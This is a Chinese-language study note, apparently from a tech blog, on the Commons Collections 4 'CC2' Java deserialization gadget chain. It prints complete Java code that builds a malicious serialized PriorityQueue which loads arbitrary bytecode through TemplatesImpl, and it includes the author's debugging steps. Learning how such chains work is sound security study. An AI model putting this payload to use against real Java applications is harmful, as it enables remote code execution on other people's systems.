当前位置: 首页 > article >正文

CC2学习记录

🌸 CC2

其实CC2和前面都是差不多的,变化是很小的。只是链子的方向改了。依然通过调用TemplateImpl的newTransformer方法进行动态类加载。只不过是直接通过InvokerTransformer类中的transform方法来调用。

🌸 分析

首先回顾一下InvokerTransformer类,在这个类中的构造器是这样的:

它主要接收了三个参数,分别是方法名、参数名和参数值;在他的transform方法中:

接收的参数是一个对象,通过反射从而获取到对应的Class,然后通过由于前面的构造器传递了方法名、参数的类型和参数值等信息。

所以这里我们就可以通过创建一个InvokerTransformer,传递的方法就是我们要调用的newTransformer

,而因为newTransformer方法是一个无参数的方法,所以InvokerTransformer的构造器中,就不需要传递参数的类型和参数的值。

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

这里就需要继续往上面去找,谁调用了InvokerTransformer类的transform方法,此时就找到了cc4的前面的半条链子。此时就找到了TransformingComparator类中的compare方法中调用了transform方法。

所以到这里的话整个链子目前是这样的:

TransformingComparator#compare->InvokerTransformer#transform()->Templatelmpl#newTransformer()

结合上cc4的链子就好了!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //此时就回到了cc4的上半条链子
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        serialization(priorityQueue);
//        deserialization();
    }
    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

大概的整个流程如上,我们先尝试运行看看!

发现序列化和反序列化都是直接结束了,并没有弹窗!进行调试!

🌸 调试#解决问题

断点直接下在readObject方法中的heapify方法中:

第一步还是出现了cc4的类似问题,在heapify方法中,size就是1,经过右移1位之后,变成了0,i=0-1,其实是-1,此时的for循环不成立,直接无法进入到for循环里面。

所以我们还是需要再add一个。先尝试随便add一个值看看。


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //此时就回到了cc4的上半条链子
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);
        serialization(priorityQueue);
        deserialization();
    }
    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

增加代码之后,发现出现了

问题就是出现在了我们新增加的代码priorityQueue.add(2);中!再次调试:(断点断在新增加的代码处!)

跟进到add方法中,发现obj1的值是我们第二个传进去的值2,直接将add(2)改为add(templates),再次尝试!发现又报错了:

其实这里和之前cc4的报错是一样的,在序列化的时候,就执行了代码,所以我们在add之前呢,尝试修改transformingComparator里面的参数值为其他的值,让他不执行代码!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //此时就回到了cc4的上半条链子
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);
        Class<? extends TransformingComparator> aClass = transformingComparator.getClass();
        Field transformerField = aClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

//        serialization(priorityQueue);
        deserialization();
    }
    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

最终利用代码如上!

整个链子其实是:

priorityQueue#readOBject

priorityQueue#heapify

priorityQueue#siftDown

priorityQueue#siftDownUsingComparator

TransformingComparator#compare

InvokerTransformer#transform()

Templatelmpl#newTransformer()


http://www.kler.cn/a/398770.html

相关文章:

  • NVR录像机汇聚管理EasyNVR多品牌NVR管理工具视频汇聚技术在智慧安防监控中的应用与优势
  • java.sql.SQLException Parameter index out of range
  • SQL Server 查询设置 - LIKE/DISTINCT/HAVING/排序
  • python实现十进制转换二进制,tkinter界面
  • 传奇996_24——变量lua
  • H3C NX30Pro刷机教程-2024-11-16
  • Rust: 原子操作大全
  • antdesign对话框输出html格式
  • RHCE的学习(21)
  • Nuget For Unity插件介绍
  • Hadoop的汽车销量数据分析系统
  • Linux 实现TCP并发服务器
  • 大模型呼叫中心,如何建设呼入机器人系统?
  • Ceph后端两种存储引擎介绍
  • FreeRTOS学习13——任务相关API函数
  • 《Django 5 By Example》阅读笔记:p76-p104
  • 20.useMediaQuery
  • HTTP 请求方式
  • 从零入门激光SLAM(二十三)——direct_visual_lidar_calibration全型号激光雷达-相机标定包
  • 永磁同步电机负载估计算法--直接计算法
  • 【C#】C#编程基础:探索控制台应用与数据操作
  • 网络安全技术概论知识点
  • Go语言的创始人, 核心特性和学习资源
  • 【设计模式】结合Tomcat源码,分析外观模式/门面模式的特性和应用场景
  • AI大模型如何重塑软件开发流程:智能化与自动化的新时代
  • git相关知识